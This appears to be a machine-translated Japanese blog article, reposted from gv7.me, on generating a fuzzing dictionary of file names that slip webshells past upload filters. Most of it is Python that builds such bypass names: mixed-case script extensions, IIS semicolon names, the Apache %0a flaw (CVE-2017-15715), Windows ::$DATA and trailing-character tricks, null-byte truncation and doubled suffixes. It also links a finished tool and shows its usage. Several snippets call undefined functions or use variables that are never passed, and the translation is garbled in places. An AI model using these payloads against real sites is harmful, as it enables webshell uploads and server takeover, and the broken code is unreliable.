良質なアップロード・ホールfuzz辞書の構築


アップロード・ホールの利用姿勢は多く,言語,ミドルウェア,オペレーティング・システムによって利用が異なる.例えば、大文字と小文字の混合、.htaccess,解析脆弱性,00遮断,.迂回、スペース迂回、:$DATA迂回、多様なポーズの組み合わせなど.アップロードポイントに遭遇した場合、上記のポーズを全面的に利用してテストし、webshellをアップロードできるポーズを迅速に発見するにはどうすればいいですか?
シナリオ1:1つ1つの手作業テスト
手作業ですべての姿勢をテストすると、時間がかかることはもちろん、いくつかの姿勢が漏れて利用できなくなる可能性があります.
シナリオ2:fuzz
fuzzでは、入力ポイントに特殊なデータを大量に与えることが多い.この特殊なデータはランダムで、不規則で、私たちも予知できないかもしれません.しかし、このようなfuzz方式は地元のfuzz 0 dayの脆弱性に適しているだけで、fuzzオンラインサイトのアップロードポイントを通じて、webshellのアップロードに成功するpayloadを迅速に見つけるのに適していないことを考えてみました.時間コストがどこにあるのかからです.
考えてみると、脆弱性をアップロードするシーン(バックエンド言語、ミドルウェア、オペレーティングシステム)に基づいて良質なfuzz辞書を生成し、この辞書を使ってfuzzを行うことで、以上の2つのソリューションの弊害を解消できることがわかります!
一、構想
手を出す前に、アップロードの脆弱性について考えてみましょう.
一、解析可能な接尾辞、つまりその言語には複数の解析可能な接尾辞があり、例えばphp言語の解析可能な接尾辞はphp、php 2、php 3などである.
二、大文字と小文字を混合し、システムのフィルタリングが厳しくなければ、大文字と小文字を迂回することができる.
三、ミドルウェア、各ミドルウェアは基本的に脆弱性を解析し、例えばiisはxxxを解決することができる.asp;.jpgはaspが実行する.
四、システムの特性、特にWindowsの接尾辞の点(.)、スペース、追加:$DATAはターゲットシステムを迂回できます.
五、言語の抜け穴、流行の3種類のスクリプト言語には基本的に00カットの抜け穴がある.
六、二重接尾辞、これはシステムやミドルウェアとは関係なく、たまにコードロジックに存在する.
以上を整理して、辞書を生成するルールを以下のように整理します.
解析可能な接尾辞+大文字と小文字の混合解析可能な接尾辞+大文字と小文字の混合+ミドルウェアの脆弱性.htaccess+大文字と小文字の混合解析可能な接尾辞+大文字と小文字の混合+システム特性解析可能な接尾辞+大文字と小文字の混合+言語脆弱性解析可能な接尾辞+大文字と小文字の混合+ダブル接尾辞以下では、上記の構想に基づいて、各方面の詳細を分析し、コードを使用して実装します.
二、解析可能接尾辞
実は多くの言語がこのようにして、接尾辞を解析することができます.ターゲットサイトがブラックリストを採用する場合、不完全なものが含まれることが多い.以下、比較的包括的な解析可能な接尾辞を集めて、後で辞書を生成するために材料を作ります.
言語
解析可能接尾辞
asp/aspx
asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php
php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp
jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
##三、大文字と小文字を混ぜ合わせたサイトでは、フィルタリングが簡単で、スクリプト接尾辞をフィルタリングしただけですが、接尾辞を一括して小文字に変換することはなく、判断しています.これは単なる大文字と小文字の問題です.ここでは、2つの関数を記述することができます.1つの関数は、1つの文字列に入力され、関数はその文字列のすべての大文字と小文字の組み合わせを返す可能性があります.2番目の関数は、1つの関数に基づいて、リスト内のすべての文字のすべての大文字と小文字の組み合わせを返す可能性があります.
##         ,           
def str_case_mixing(word):
	str_list = []
	word = word.lower()
	tempWord = copy.deepcopy(word)
	plist = []
	redict = {
     }
	for char in range( len( tempWord ) ):
		char = word[char]
		plist.append(char) 
	num = len( plist )
	for i in range( num ):
		for j in range( i , num + 1 ):
			sContent = ''.join( plist[0:i] )
			mContent = ''.join( plist[i:j] )
			mContent = mContent.upper()
			eContent = ''.join( plist[j:] )
			content = '''%s%s%s''' % (sContent,mContent,eContent)
			redict[content] = None

	for i in redict.keys():
		str_list.append(i)

	return str_list
	
## list     
def list_case_mixing(li):
	res = []
	for l in li:
		res += uperTest(l)
	return res

四、ミドルウェアの脆弱性
これは比較的複雑なものです.まず整理してみましょう
4.1 iis
iisには3つの解析的脆弱性があります.
1.IIS6.0ファイル解析xx.asp;.jpg 2.IIS6.0ディレクトリ解析xx.asp/1.jpg 3.IIS 7.0奇形解析xxx.jpg/x.asp
2と3はアップロードされたファイル名とは関係ないので、1に基づいてfuzz辞書を生成するだけです.
def iis_suffix_creater(suffix):
	res = []
	for l in suffix:
		str ='%s;.%s' % (l,allow_suffix)
		res.append(str)
	return res

4.2 apache
apacheに関連する解析的脆弱性は2つあります.
%0 a(CVE-2017-15715)未知接尾辞test.php.xxx
以上の構成によりapache_suffix_builder関数生成規則
def apache_suffix_creater(suffix):
	res = []
	for l in suffix:
		str = '%s.xxx' % l
		res.append(str)
		str = '%s%s' % (l,urllib.unquote('%0a')) #CVE-2017-15715
		res.append(str)
	return res

4.3 nginx
nginx解析の脆弱性は3つあります.
アクセス接続プラス/xxx.php test.jpg/xxx.php奇形解析ホールtest.jpg%00xxx.php CVE-2013-4547 test.jpg(非符号化スペース)0 x.php
nginxの解析脆弱性は,アップロードされたファイル名とは無関係であるため,辞書の生成は考慮する必要がない.
4.4 tomcat
tomcatのアップロードには3種類ありますが、windowsオペレーティングシステムに制限されています.
xxx.jsp/xxx.jsp%20 xxx.jsp::$DATA
以上のルールに従って辞書に対応するコードを生成します.
win_tomcat = ['%20','::$DATA','/']
def tomcat_suffix_creater(suffix):
	res = []
	for l in suffix:
		for t in win_tomcat:
			str = '%s%s' % (l,t)
			res.append(str)
	return res

ミドルウェアがapacheであると判定する場合、加入することができる.htaccess.また、オペレーティングシステムがwindowsであれば、大文字と小文字を混合することができます.
if (middleware == 'apache' or middleware == 'all') and (os == 'win' or os == 'all'):
	htaccess_suffix = uperTest(".htaccess")
elif (middleware == 'apache' or middleware == 'all') and os == 'linux':
	htaccess_suffix = ['.htaccess']
else:
	htaccess_suffix = []

4.5言語、ミドルウェアとオペレーティングシステムの関係
以上,各ミドルウェアの脆弱性に基づいて,対応するfuzz辞書生成関数を記述した.最終的に辞書を生成する際には、ミドルウェアがそれらの言語を実行し、プラットフォームとの関係も考慮します.
言語
IIS
Apache
Tomcat
Window
Linux
asp/aspx


×


php





jsp

×



上の表によれば
iisの下でasp/aspx,php,jspスクリプトを実行できるため、この3つのスクリプト言語の解析可能な接尾辞はiis_に転送されるべきである.suffix_builder()が処理apacheの下でasp/aspx,phpを実行できます.したがって、この2つのスクリプト言語の解析可能な接尾辞はapache_に転送されるべきである.suffix_builder()はtomcatを処理してphp,jspを実行できるので、この2つのスクリプト言語の解析可能な接尾辞はtomcat_に入力されるべきです.suffix_builder()で処理します.注意:tomcatアップロードの迂回分析によると、windowsプラットフォームの下で成功することが分かった.Windowsプラットフォームの下でtomcatが呼び出されます.suffix_builder()は、解析可能な接尾辞を処理します.
したがって、擬似コードは以下のように記述することができる.
if middleware == 'iis':
	case_asp_php_jsp_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_jsp_parse_suffix
	middleware_parse_suffix = iis_suffix_creater(case_asp_php_jsp_parse_suffix)
elif middleware == 'apache':
	case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix
	middleware_parse_suffix = apache_suffix_creater(case_asp_php_html_parse_suffix)
elif middleware == 'tomcat' and os == 'linux':
	middleware_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix
elif middleware == 'tomcat' and (os == 'win' or os == 'all'):
	case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix
	middleware_parse_suffix = tomcat_suffix_creater(case_php_jsp_parse_suffix)
else:
	case_asp_php_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix
	iis_parse_suffix = iis_suffix_creater(case_asp_php_parse_suffix)
	case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix
	apache_parse_suffix = apache_build(case_asp_php_html_parse_suffix)
	case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix
	tomcat_parse_suffix = tomcat_build(case_php_jsp_parse_suffix)		
	middleware_parse_suffix = iis_parse_suffix + apache_parse_suffix + tomcat_parse_suffix


五、システム特性
資料を調べたところ、システム面では、以下の特性がアップロードの脆弱性に利用できることが分かった.
Windowsの下のファイル名は大文字と小文字を区別せず、Linuxの下のファイル名は大文字と小文字を区別する.php::$DATA = xxx.php Windowsの下のファイル名の末尾に参加します.スペース、>>>>,0 x 81-0 xffなどの文字で、最終的に生成されたファイルはwindowsに無視されます.
#   0x81-0xff   list
def str_81_to_ff():
	res = []
	for i in range(129,256):
		str = '%x' % i
		str = '%' + str
		str = urllib.unquote(str)
		res.append(str)
	return res

windows_os = [' ','.','/','::$DATA',','>','>>>','%20','%00'] + str_81_to_ff()
def windows_suffix_builder(suffix):
	res = []
	for s in suffix:
		for w in windows_os:
			str = '%s%s' % (s,w)
			res.append(str)
	return res

六、言語の抜け穴
言語の脆弱性は、アップロードされた%00カットと0 x 00カットで利用されます.それらはasp,php,jspに存在する.
def str_00_truncation(suffix,allow_suffix):
	res = []
	for i in suffix:
		str = '%s%s.%s' % (i,'%00',allow_suffix)
		res.append(str)
		str = '%s%s.%s' % (i,urllib.unquote('%00'),allow_suffix)
		res.append(str)
	return res

七、接尾辞
一部のサイトでは、aphpをアップロードするなど、アップロードファイル名を機密文字(php,asp,jspなど)を削除することでフィルタリングする.jpgのファイルは、アップロードするとa.jpgになります.この場合、接尾辞でa.pphphpをアップロードし、最終的にちょうどa.phpを生成することができます.実はデュアル接尾辞はミドルウェアやオペレーティングシステムとは関係なく、コードロジックと関係があります.
接尾辞に対してstr_を書くことができますdouble_suffix_creater(suffix)関数は、接尾辞名suffixを入力すると、すべての接尾辞が生成されます.
def str_double_suffix_creater(suffix):
	res = []
	for i in range(1,len(suffix)):
		str = list(suffix)
		str.insert(i,suffix)
		res.append("".join(str))
	return res

リスト_double_suffix_creater(suffix)関数に基づいてlist_を記述できますdouble_suffix_creater(list_suffix)は、listのすべての接尾辞を生成するために可能である.
def list_double_suffix_creater(list_suffix):
	res = []
	for l in list_suffix:
		res += double_suffix_creater(l)
	return duplicate_removal(res)

八、統合コードの上で、アップロードの脆弱性に関する各方面について細かく分析し、関連するコアコードも提供した.最終的に統合されたコードはエッジ幅に限られ、githubに置かれます.
github:https://github.com/c0ny1/upload-fuzz-dic-builder
$ python upload-fuzz-dic-builder.py -h
usage: upload-fuzz-dic-builder [-h] [-n] [-a] [-l] [-m] [--os] [-d] [-o]

optional arguments:
  -h, --help            show this help message and exit
  -n , --upload-filename
                        Upload file name
  -a , --allow-suffix   Allowable upload suffix
  -l , --language       Uploaded script language
  -m , --middleware     Middleware used in Web System
  --os                  Target operating system type
  -d, --double-suffix   Is it possible to generate double suffix?
  -o , --output         Output file

スクリプトは、生成されたアップロードファイル名(-n)、許可されたアップロード接尾辞(-a)、バックエンド言語(-l)、ミドルウェア(-m)、オペレーティングシステム(-os)、デュアル接尾辞(-d)、および出力された辞書ファイル名(-o)を定義できます.シーンに基づいて適切な辞書を生成することができ、提供される情報が詳細であればあるほど、スクリプトによって生成される辞書は正確になります.
変換元:http://gv7.me/articles/2018/make-upload-vul-fuzz-dic/